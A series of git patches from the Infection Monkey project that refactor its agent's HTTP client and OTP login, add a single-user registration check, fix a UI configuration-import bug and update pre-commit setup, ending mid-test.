b/monkey/infection_monkey/monkey.py @@ -30,6 +30,7 @@ ) from common.agent_plugins import AgentPluginType from common.agent_registration_data import AgentRegistrationData +from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE from common.event_queue import IAgentEventQueue, PyPubSubAgentEventQueue, QueuedAgentEventPublisher from common.network.network_utils import get_my_ip_addresses, get_network_interfaces from common.tags.attack import T1082_ATTACK_TECHNIQUE_TAG @@ -63,7 +64,6 @@ from infection_monkey.island_api_client import HTTPIslandAPIClientFactory, IIslandAPIClient from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel -from infection_monkey.model import AGENT_OTP_ENVIRONMENT_VARIABLE, OTP_FLAG from infection_monkey.network import TCPPortSelector from infection_monkey.network.firewall import app as firewall from infection_monkey.network.relay import TCPRelay @@ -96,6 +96,7 @@ from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers from .heart import Heart +from .model import OTP_FLAG from .plugin_event_forwarder import PluginEventForwarder logger = logging.getLogger(__name__) diff --git a/monkey/tests/unit_tests/infection_monkey/test_monkey.py b/monkey/tests/unit_tests/infection_monkey/test_monkey.py index b1643aff146..7f77c565245 100644 --- a/monkey/tests/unit_tests/infection_monkey/test_monkey.py +++ b/monkey/tests/unit_tests/infection_monkey/test_monkey.py @@ -3,7 +3,8 @@ import pytest from tests.data_for_tests.otp import OTP -from infection_monkey.model import AGENT_OTP_ENVIRONMENT_VARIABLE, OTP_FLAG +from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE +from infection_monkey.model import OTP_FLAG from infection_monkey.monkey import InfectionMonkey From 18de0d2128775bfdc9c7ebc8780ea1df7fff0d1a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Mar 2023 11:04:41 -0400 Subject: [PATCH 0650/1338] Project: Add merge-issue-number hook --- .pre-commit-config.yaml | 4 ++++ deployment_scripts/README.md | 2 +- deployment_scripts/deploy_linux.sh | 2 +- deployment_scripts/deploy_windows.ps1 | 2 +- docs/content/development/setup-development-environment.md | 2 +- 5 files changed, 8 insertions(+), 4 deletions(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 8bda7aea9f8..1b35c914325 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -59,3 +59,7 @@ repos: rev: v2.7 hooks: - id: vulture + - repo: https://github.com/mssalvatore/merge-issue-number-hook + rev: v1.0.0 + hooks: + - id: merge-issue-number diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index 56d24985899..8cf994b7c39 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -84,4 +84,4 @@ been run or all issues have not been resolved. To install and configure pre-commit manually, run `pip install --user pre-commit`. Next, go to the top level directory of this repository and run -`pre-commit install -t pre-commit -t pre-push` Now, pre-commit will automatically run whenever you `git commit`. +`pre-commit install -t pre-commit -t pre-push -t prepare-commit-msg` Now, pre-commit will automatically run whenever you `git commit`. diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 9113fb148bc..c5e92b18c45 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -26,7 +26,7 @@ log_message() { configure_precommit() { $1 -m pip install --user pre-commit pushd "$2" - $HOME/.local/bin/pre-commit install -t pre-commit -t pre-push + $HOME/.local/bin/pre-commit install -t pre-commit -t pre-push -t prepare-commit-msg popd } diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index 61878e36c75..c960f7cecfc 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -90,7 +90,7 @@ function Configure-precommit([String] $git_repo_dir) if ($LastExitCode) { exit 1 } - pre-commit install -t pre-commit -t pre-push + pre-commit install -t pre-commit -t pre-push -t prepare-commit-msg if ($LastExitCode) { exit 1 } diff --git a/docs/content/development/setup-development-environment.md b/docs/content/development/setup-development-environment.md index a1987f026cd..0b1c3bcfd93 100644 --- a/docs/content/development/setup-development-environment.md +++ b/docs/content/development/setup-development-environment.md @@ -30,4 +30,4 @@ Pre-commit is a multi-language package manager for pre-commit hooks. It will run Our CI system runs the same checks when pull requests are submitted. This system may report that the build has failed if the pre-commit hooks have not been run or all issues have not been resolved. -To install and configure pre-commit, run `pip install --user pre-commit`. Next, go to the top level directory of this repository and run `pre-commit install -t pre-commit -t pre-push`. Pre-commit will now run automatically whenever you `git commit`. +To install and configure pre-commit, run `pip install --user pre-commit`. Next, go to the top level directory of this repository and run `pre-commit install -t pre-commit -t pre-push -t prepare-commit-msg`. Pre-commit will now run automatically whenever you `git commit`. From 1024bf58432580edf2a54d94f064d6fd48e07fc6 Mon Sep 17 00:00:00 2001 From: VakarisZ <36815064+VakarisZ@users.noreply.github.com> Date: Fri, 17 Mar 2023 18:04:01 +0200 Subject: [PATCH 0651/1338] Island: Do manual "is user already registered" check (#3124) * Island: Do manual "is user already registered" check Issue #2157 PR #3124 --- .../configure_flask_security.py | 11 ++--------- .../flask_resources/register.py | 4 ++++ .../flask_resources/test_register.py | 11 +++++++++++ 3 files changed, 17 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index d2fb19dc934..ddbec114a9b 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -6,7 +6,7 @@ from flask.sessions import SecureCookieSessionInterface from flask_mongoengine import MongoEngine from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security, UserDatastore -from wtforms import StringField, ValidationError +from wtforms import StringField from common.utils.file_utils import open_new_securely_permissioned_file from monkey_island.cc.mongo_consts import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT, MONGO_URL @@ -44,19 +44,12 @@ def setup_authentication(app, data_dir: Path): _create_roles(user_datastore) - # Only one user can be registered in the Island, so we need a custom validator - def validate_no_user_exists_already(_, field): - if user_datastore.find_user(): - raise ValidationError("A user already exists. Only a single user can be registered.") - class CustomConfirmRegisterForm(ConfirmRegisterForm): # We don't use the email, but the field is required by ConfirmRegisterForm. # Email validators need to be overriden, otherwise an error about invalid email is raised. # Added custom validator to the email field because we have to override # email validators anyway. - email = StringField( - "Email", default="dummy@dummy.com", validators=[validate_no_user_exists_already] - ) + email = StringField("Email", default="dummy@dummy.com", validators=[]) def to_dict(self, only_user): registration_dict = super().to_dict(only_user) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py index 3835ed46d64..5becd6e4c4b 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py @@ -30,6 +30,10 @@ def post(self): """ try: + if not self._authentication_facade.needs_registration(): + return { + "errors": ["A user already exists. Only a single user can be registered."] + }, HTTPStatus.CONFLICT username, password = get_username_password_from_request(request) response: ResponseValue = register() except Exception: diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py index fb3d4ed7efa..b90f67ac216 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py @@ -36,6 +36,17 @@ def test_register_failed( assert response.status_code == HTTPStatus.BAD_REQUEST +def test_register__already_registered( + monkeypatch, make_registration_request, mock_authentication_facade: AuthenticationFacade +): + mock_authentication_facade.needs_registration.return_value = False + + response = make_registration_request("{}") + + assert response.status_code == HTTPStatus.CONFLICT + assert response.json["errors"] + + def test_register_successful( monkeypatch, make_registration_request, mock_authentication_facade: AuthenticationFacade ): From d4e82241ce05f8d9ba5876603095bcc37ba48bb4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 19 Mar 2023 20:13:20 -0400 Subject: [PATCH 0652/1338] BB: Don't abort tests if a user is already registered --- .../blackbox/island_client/monkey_island_requests.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index cb76b56ae30..5d283864347 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -45,6 +45,10 @@ def try_set_island_to_credentials(self): verify=False, ) + if resp.status_code == 409: + # A user has already been registered + return + if resp.status_code == 400: raise InvalidRequestError() From e9fefed5c5643a391a4fb07dcc03d30e73e8ceb3 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 21 Mar 2023 16:41:17 +0200 Subject: [PATCH 0653/1338] UI: Fix configuration import bug Configuration export already reformats config into it's "true" state (one that the back end expects). We don't need to do any more reformatting before submitting it Issue: #3056 PR: #3131 --- .../configuration-components/ImportConfigModal.tsx | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx index 2b35766327e..9fc2e9f48bc 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx @@ -119,14 +119,11 @@ const ConfigImportModal = (props: Props) => { } function sendConfigToServer() { - let config = reformatConfig(configContents, true); - delete config['advanced']; - delete config['propagation']['general']; authComponent.authFetch(configImportEndpoint, { method: 'PUT', headers: {'Content-Type': 'application/json'}, - body: JSON.stringify(config) + body: JSON.stringify(configContents) } ).then(res => { if (res.ok) { From 8ec53a9720a7c95bcb2a91c4a08f399774513a9d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 21 Mar 2023 16:16:27 +0100 Subject: [PATCH 0654/1338] UI: Fix green question mark for plugin documentation PR: #3132 --- .../configuration-components/PluginSelectorTemplate.tsx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/PluginSelectorTemplate.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/PluginSelectorTemplate.tsx index a1ac61a3143..f2f6704d0e4 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/PluginSelectorTemplate.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/PluginSelectorTemplate.tsx @@ -23,7 +23,7 @@ export default function PluginSelectorTemplate(props: ObjectFieldTemplateProps) WarningType.NONE : WarningType.SINGLE; return } return Date: Tue, 21 Mar 2023 09:13:45 -0400 Subject: [PATCH 0655/1338] Agent: Pass server to HTTPClient's constructor * Removes temporal coupling associated with `HTTPClient.set_url()` * Helps in the effort to separate the responsibility of identifying and Island API from communicating with an Island API --- .../island_api_client/http_client.py | 17 ++---- .../island_api_client/test_http_client.py | 52 +++++++------------ 2 files changed, 24 insertions(+), 45 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_client.py b/monkey/infection_monkey/island_api_client/http_client.py index 113e8bbbf53..a20c70013a4 100644 --- a/monkey/infection_monkey/island_api_client/http_client.py +++ b/monkey/infection_monkey/island_api_client/http_client.py @@ -62,23 +62,16 @@ def decorated(*args, **kwargs): class HTTPClient: - def __init__(self, retries=RETRIES): + def __init__(self, server_url: str, retries=RETRIES): + if not server_url.startswith("https://"): + raise ValueError("Only HTTPS protocol is supported by HTTPClient") + self._server_url = server_url + self._session = requests.Session() retry_config = Retry(retries) self._session.mount("https://", HTTPAdapter(max_retries=retry_config)) - self._server_url: Optional[str] = None self.additional_headers: Optional[Dict[str, Any]] = None - @property - def server_url(self): - return self._server_url - - @server_url.setter - def server_url(self, server_url: Optional[str]): - if server_url is not None and not server_url.startswith("https://"): - raise ValueError("Only HTTPS protocol is supported by HTTPClient") - self._server_url = server_url - def get( self, endpoint: str = "", diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py index 1c509b25fab..508e091e62d 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py @@ -17,7 +17,8 @@ from infection_monkey.island_api_client.http_client import RETRIES, HTTPClient from infection_monkey.island_api_client.island_api_client_errors import IslandAPIAuthenticationError -SERVER = SocketAddress(ip="1.1.1.1", port=9999) +SERVER = SocketAddress(ip="127.0.0.1", port=9999) +SERVER_URL = f"https://{SERVER}/api" AGENT_ID = UUID("80988359-a1cd-42a2-9b47-5b94b37cd673") ISLAND_URI = f"https://{SERVER}/api?action=is-up" @@ -34,9 +35,8 @@ def request_mock_instance(): @pytest.fixture -def connected_client(request_mock_instance): - http_client = HTTPClient() - http_client.server_url = f"https://{SERVER}/api" +def http_client(request_mock_instance): + http_client = HTTPClient(SERVER_URL) request_mock_instance.get(ISLAND_URI) return http_client @@ -49,20 +49,18 @@ def connected_client(request_mock_instance): ], ) def test_http_client__error_handling( - initial_error, raised_error, connected_client, request_mock_instance + initial_error, raised_error, http_client, request_mock_instance ): request_mock_instance.get(ISLAND_GET_PROPAGATION_CREDENTIALS_URI, exc=initial_error) with pytest.raises(raised_error): - connected_client.get(PROPAGATION_CREDENTIALS_ENDPOINT) + http_client.get(PROPAGATION_CREDENTIALS_ENDPOINT) -@pytest.mark.parametrize("server", ["http://1.1.1.1:5000", ""]) +@pytest.mark.parametrize("server", [f"http://{SERVER}", ""]) def test_http_client__unsupported_protocol(server): - client = HTTPClient() - with pytest.raises(ValueError): - client.server_url = server + HTTPClient(server) @pytest.mark.parametrize( @@ -75,36 +73,24 @@ def test_http_client__unsupported_protocol(server): ], ) def test_http_client__status_handling( - status_code, expected_error, connected_client, request_mock_instance + status_code, expected_error, http_client, request_mock_instance ): request_mock_instance.put(ISLAND_SEND_LOG_URI, status_code=status_code) with pytest.raises(expected_error): - connected_client.put(LOG_ENDPOINT, "Fake log contents") + http_client.put(LOG_ENDPOINT, "Fake log contents") -def test_http_client__incorrect_call(connected_client, request_mock_instance): +def test_http_client__incorrect_call(http_client, request_mock_instance): request_mock_instance.get(ISLAND_SEND_LOG_URI) # get requests have no data/json with pytest.raises(IslandAPIError): - connected_client.get(LOG_ENDPOINT, hokus_pokus="something") - - -def test_http_client__unconnected(): - http_client = HTTPClient() - - with requests_mock.Mocker() as m: - m.get(ISLAND_SEND_LOG_URI) - - with pytest.raises(IslandAPIError): - http_client.get(LOG_ENDPOINT) + http_client.get(LOG_ENDPOINT, hokus_pokus="something") def test_http_client__retries(monkeypatch): - http_client = HTTPClient() - # skip the connect method - http_client._server_url = f"https://{SERVER}/api" + http_client = HTTPClient(SERVER_URL) mock_send = MagicMock(side_effect=ConnectTimeoutError) # requests_mock can't be used for this, because it mocks higher level than we are testing monkeypatch.setattr("urllib3.connectionpool.HTTPSConnectionPool._validate_conn", mock_send) @@ -115,30 +101,30 @@ def test_http_client__retries(monkeypatch): assert mock_send.call_count == RETRIES + 1 -def test_http_client__additional_args(monkeypatch, connected_client): +def test_http_client__additional_args(monkeypatch, http_client): get = MagicMock() monkeypatch.setattr("requests.Session.get", get) - connected_client.get(LOG_ENDPOINT, auth="authentication") + http_client.get(LOG_ENDPOINT, auth="authentication") assert get.call_args[1]["auth"] == "authentication" -def test_http_client__post(connected_client, monkeypatch): +def test_http_client__post(http_client, monkeypatch): post = MagicMock() monkeypatch.setattr("requests.Session.post", post) - connected_client.post(PROPAGATION_CREDENTIALS_ENDPOINT, data={"foo": "bar"}, timeout=10) + http_client.post(PROPAGATION_CREDENTIALS_ENDPOINT, data={"foo": "bar"}, timeout=10) assert post.call_args[1]["json"] == {"foo": "bar"} assert post.call_args[1]["timeout"] == 10 -def test_http_client__put(connected_client, monkeypatch): +def test_http_client__put(http_client, monkeypatch): put = MagicMock() monkeypatch.setattr("requests.Session.put", put) - connected_client.put(PROPAGATION_CREDENTIALS_ENDPOINT, data={"foo": "bar"}, timeout=10) + http_client.put(PROPAGATION_CREDENTIALS_ENDPOINT, data={"foo": "bar"}, timeout=10) assert put.call_args[1]["json"] == {"foo": "bar"} assert put.call_args[1]["timeout"] == 10 From 67d32430ae364ccece21981ddec175258ed74694 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 21 Mar 2023 09:31:20 -0400 Subject: [PATCH 0656/1338] Agent: Implement IIslandAPIClient.login() --- .../configuration_validator_decorator.py | 6 +-- .../http_island_api_client.py | 21 +++------- .../island_api_client/i_island_api_client.py | 22 +++++----- .../base_island_api_client.py | 4 +- .../test_http_island_api_client.py | 40 +++++++------------ 5 files changed, 36 insertions(+), 57 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py b/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py index 5f82a3145ce..d7d9691edfa 100644 --- a/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py +++ b/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py @@ -7,7 +7,7 @@ from common.agent_events import AbstractAgentEvent from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType from common.credentials import Credentials -from common.types import AgentID, SocketAddress +from common.types import AgentID from . import IIslandAPIClient, IslandAPIError @@ -25,8 +25,8 @@ class ConfigurationValidatorDecorator(IIslandAPIClient): def __init__(self, island_api_client: IIslandAPIClient): self._island_api_client = island_api_client - def connect(self, island_server: SocketAddress): - return self._island_api_client.connect(island_server) + def login(self, otp: str): + return self._island_api_client.login(otp) def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: return self._island_api_client.get_agent_binary(operating_system) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 71b9a807cb0..ff7983dbf28 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -13,7 +13,7 @@ from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from common.credentials import Credentials -from common.types import AgentID, JSONSerializable, SocketAddress +from common.types import AgentID, JSONSerializable from . import IIslandAPIClient, IslandAPIRequestError from .http_client import HTTPClient @@ -50,28 +50,19 @@ def __init__( self, agent_event_serializer_registry: AgentEventSerializerRegistry, http_client: HTTPClient, - otp: str, ): self._agent_event_serializer_registry = agent_event_serializer_registry self._http_client = http_client - self._otp = otp - def connect( + def login( self, - island_server: SocketAddress, + otp: str, ): - try: - self._http_client.server_url = f"https://{island_server}/api/" - self._http_client.get(params={"action": "is-up"}) - except Exception as err: - self._http_client.server_url = None - raise err - - auth_token = self._get_authentication_token() + auth_token = self._get_authentication_token(otp) self._http_client.additional_headers = {HTTPIslandAPIClient.TOKEN_HEADER_KEY: auth_token} - def _get_authentication_token(self) -> str: - response = self._http_client.post("/agent-otp-login", {"otp": self._otp}) + def _get_authentication_token(self, otp: str) -> str: + response = self._http_client.post("/agent-otp-login", {"otp": otp}) return response.json()["token"] def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: diff --git a/monkey/infection_monkey/island_api_client/i_island_api_client.py b/monkey/infection_monkey/island_api_client/i_island_api_client.py index 6e6fdffe109..8cbbce63944 100644 --- a/monkey/infection_monkey/island_api_client/i_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/i_island_api_client.py @@ -6,7 +6,7 @@ from common.agent_events import AbstractAgentEvent from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType from common.credentials import Credentials -from common.types import AgentID, SocketAddress +from common.types import AgentID class IIslandAPIClient(ABC): @@ -15,19 +15,19 @@ class IIslandAPIClient(ABC): """ @abstractmethod - def connect(self, island_server: SocketAddress): + def login(self, otp: str): """ Connect to the island's API - :param island_server: The socket address of the API - :raises IslandAPIConnectionError: If the client cannot successfully connect to the island - :raises IslandAPIRequestError: If an error occurs while attempting to connect to the - island due to an issue in the request sent from the client - :raises IslandAPIRequestFailedError: If an error occurs while attempting to connect to the - island due to an error on the server - :raises IslandAPITimeoutError: If a timeout occurs while attempting to connect to the island - :raises IslandAPIError: If an unexpected error occurs while attempting to connect to the - island + :param otp: A one-time password used to authenticate with the Island API + :raises IslandAPIConnectionError: If the client cannot successfully connect to the Island + :raises IslandAPIRequestError: If an error occurs while attempting to login to the + Island due to an issue in the request sent from the client + :raises IslandAPIRequestFailedError: If an error occurs while attempting to login to the + Island API due to an error on the server + :raises IslandAPITimeoutError: If a timeout occurs while attempting to connect to the Island + :raises IslandAPIError: If an unexpected error occurs while attempting to login to the + Island API """ @abstractmethod diff --git a/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py index e464ef0cb31..c79800b2d73 100644 --- a/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py @@ -5,12 +5,12 @@ from common.agent_events import AbstractAgentEvent from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType from common.credentials import Credentials -from common.types import AgentID, SocketAddress +from common.types import AgentID from infection_monkey.island_api_client import IIslandAPIClient class BaseIslandAPIClient(IIslandAPIClient): - def connect(self, island_server: SocketAddress): + def login(self, otp: str): pass def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index 1274b50f169..7776981bf32 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -25,7 +25,11 @@ from common.base_models import InfectionMonkeyBaseModel from common.credentials import Credentials from common.types import SocketAddress -from infection_monkey.island_api_client import HTTPIslandAPIClient, IslandAPIRequestError +from infection_monkey.island_api_client import ( + HTTPIslandAPIClient, + IslandAPIError, + IslandAPIRequestError, +) from infection_monkey.island_api_client.island_api_client_errors import ( IslandAPIResponseParsingError, ) @@ -83,7 +87,7 @@ def agent_event_serializer_registry(): def build_api_client(http_client): - return HTTPIslandAPIClient(agent_event_serializer_registry(), http_client, OTP) + return HTTPIslandAPIClient(agent_event_serializer_registry(), http_client) def _build_client_with_json_response(response): @@ -92,42 +96,26 @@ def _build_client_with_json_response(response): return build_api_client(client_stub) -def test_connect__connection_error(): +def test_login__connection_error(): http_client_stub = MagicMock() - http_client_stub.get = MagicMock(side_effect=RuntimeError) + http_client_stub.post = MagicMock(side_effect=IslandAPIError) api_client = build_api_client(http_client_stub) - with pytest.raises(RuntimeError): - api_client.connect(SERVER) - assert api_client._http_client.server_url is None - - -def test_connect__authentication_error(): - http_client_stub = MagicMock() - http_client_stub.get = MagicMock() - http_client_stub.post = MagicMock(side_effect=RuntimeError) - api_client = build_api_client(http_client_stub) - with pytest.raises(RuntimeError): - api_client.connect(SERVER) - assert api_client._http_client.server_url is not None + with pytest.raises(IslandAPIError): + api_client.login(OTP) def test_connect(): - fake_auth_token = "fake_auth_token" + auth_token = "auth_token" http_client_stub = MagicMock() - http_client_stub.get = MagicMock() http_client_stub.post = MagicMock() - http_client_stub.post.return_value.json.return_value = {"token": fake_auth_token} + http_client_stub.post.return_value.json.return_value = {"token": auth_token} api_client = build_api_client(http_client_stub) - api_client.connect(SERVER) + api_client.login(OTP) - assert api_client._http_client.server_url is not None - assert ( - api_client._http_client.additional_headers[HTTPIslandAPIClient.TOKEN_HEADER_KEY] - == fake_auth_token - ) + assert http_client_stub.additional_headers[HTTPIslandAPIClient.TOKEN_HEADER_KEY] == auth_token def test_island_api_client__get_agent_binary(): From 6c16973b68eb98488beae4caa84ca755a69afa78 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 21 Mar 2023 09:57:23 -0400 Subject: [PATCH 0657/1338] Agent: Refactor find_available_island_apis() logic find_available_island_apis() will now directly contact the Island instead of using the HTTPIslandAPIClient. It's responsibility is to identify Island APIs, whereas the HTTPIslandAPIClient's responsibility is to communicate with (known) Island APIs. --- .../infection_monkey/network/relay/utils.py | 49 ++++++------------- .../network/relay/test_utils.py | 46 ++++++----------- 2 files changed, 32 insertions(+), 63 deletions(-) diff --git a/monkey/infection_monkey/network/relay/utils.py b/monkey/infection_monkey/network/relay/utils.py index f0fa42376a3..88f0b4e5497 100644 --- a/monkey/infection_monkey/network/relay/utils.py +++ b/monkey/infection_monkey/network/relay/utils.py @@ -1,18 +1,12 @@ import logging import socket from contextlib import suppress -from typing import Dict, Iterable, Iterator, Optional +from typing import Dict, Iterable, Iterator -from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT +import requests + +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.types import SocketAddress -from infection_monkey.island_api_client import ( - AbstractIslandAPIClientFactory, - IIslandAPIClient, - IslandAPIConnectionError, - IslandAPIError, - IslandAPITimeoutError, -) -from infection_monkey.island_api_client.island_api_client_errors import IslandAPIAuthenticationError from infection_monkey.network.relay import RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST from infection_monkey.utils.threading import ( ThreadSafeIterator, @@ -27,12 +21,10 @@ NUM_FIND_SERVER_WORKERS = 32 -IslandAPISearchResults = Dict[SocketAddress, Optional[IIslandAPIClient]] +IslandAPISearchResults = Dict[SocketAddress, bool] -def find_available_island_apis( - servers: Iterable[SocketAddress], island_api_client_factory: AbstractIslandAPIClientFactory -) -> IslandAPISearchResults: +def find_available_island_apis(servers: Iterable[SocketAddress]) -> IslandAPISearchResults: server_list = list(servers) server_iterator = ThreadSafeIterator(server_list.__iter__()) server_results: IslandAPISearchResults = {} @@ -40,7 +32,7 @@ def find_available_island_apis( run_worker_threads( _find_island_server, "FindIslandServer", - args=(server_iterator, server_results, island_api_client_factory), + args=(server_iterator, server_results), num_workers=NUM_FIND_SERVER_WORKERS, ) @@ -50,36 +42,27 @@ def find_available_island_apis( def _find_island_server( servers: Iterator[SocketAddress], server_results: IslandAPISearchResults, - island_api_client_factory: AbstractIslandAPIClientFactory, ): with suppress(StopIteration): server = next(servers) - server_results[server] = _check_if_island_server(server, island_api_client_factory) + server_results[server] = _check_if_island_server(server) -def _check_if_island_server( - server: SocketAddress, island_api_client_factory: AbstractIslandAPIClientFactory -) -> Optional[IIslandAPIClient]: +def _check_if_island_server(server: SocketAddress) -> bool: logger.debug(f"Trying to connect to server: {server}") try: - client = island_api_client_factory.create_island_api_client() - client.connect(server) + response = requests.get( # noqa: DUO123 + f"https://{server}/api?action=is-up", verify=False, timeout=MEDIUM_REQUEST_TIMEOUT + ) + response.raise_for_status() logger.debug(f"Successfully connected to the Island via {server}") - return client - except IslandAPIConnectionError as err: + return True + except requests.exceptions.RequestException as err: logger.error(f"Unable to connect to server/relay {server}: {err}") - except IslandAPITimeoutError as err: - logger.error(f"Timed out while connecting to server/relay {server}: {err}") - except IslandAPIAuthenticationError as err: - logger.error(f"Authentication to the {server} failed: {err}") - except IslandAPIError as err: - logger.error( - f"Exception encountered when trying to connect to server/relay {server}: {err}" - ) - return None + return False def send_remove_from_waitlist_control_message_to_relays(servers: Iterable[SocketAddress]): diff --git a/monkey/tests/unit_tests/infection_monkey/network/relay/test_utils.py b/monkey/tests/unit_tests/infection_monkey/network/relay/test_utils.py index e01871b2227..b9a02a1163e 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/relay/test_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/network/relay/test_utils.py @@ -1,14 +1,8 @@ import pytest +import requests import requests_mock -from tests.data_for_tests.otp import OTP -from common.agent_event_serializers import AgentEventSerializerRegistry from common.types import SocketAddress -from infection_monkey.island_api_client import ( - HTTPIslandAPIClientFactory, - IIslandAPIClient, - IslandAPIConnectionError, -) from infection_monkey.network.relay.utils import find_available_island_apis SERVER_1 = SocketAddress(ip="1.1.1.1", port=12312) @@ -20,52 +14,44 @@ servers = [SERVER_1, SERVER_2, SERVER_3, SERVER_4] -@pytest.fixture -def island_api_client_factory(): - return HTTPIslandAPIClientFactory(AgentEventSerializerRegistry(), OTP) - - @pytest.mark.parametrize( "expected_available_servers, server_response_pairs", [ - ([], [(server, {"exc": IslandAPIConnectionError}) for server in servers]), + ([], [(server, {"exc": requests.exceptions.RequestException}) for server in servers]), ( servers[1:], - [(SERVER_1, {"exc": IslandAPIConnectionError})] + [(SERVER_1, {"exc": requests.exceptions.HTTPError})] + [(server, {"text": ""}) for server in servers[1:]], # type: ignore[dict-item] ), ], ) -def test_find_available_island_apis( - expected_available_servers, server_response_pairs, island_api_client_factory -): +def test_find_available_island_apis(expected_available_servers, server_response_pairs): with requests_mock.Mocker() as mock: for server, response in server_response_pairs: mock.get(f"https://{server}/api?action=is-up", **response) - mock.post(f"https://{server}/api/agent-otp-login", json={"token": "fake-token"}) - available_apis = find_available_island_apis(servers, island_api_client_factory) + island_api_statuses = find_available_island_apis(servers) - assert len(available_apis) == len(server_response_pairs) + assert len(island_api_statuses) == len(server_response_pairs) - for server, island_api_client in available_apis.items(): + for server, reachable in island_api_statuses.items(): if server in expected_available_servers: - assert island_api_client is not None + assert reachable else: - assert island_api_client is None + assert not reachable -def test_find_available_island_apis__multiple_successes(island_api_client_factory): +def test_find_available_island_apis__multiple_successes(): available_servers = [SERVER_2, SERVER_3] with requests_mock.Mocker() as mock: - 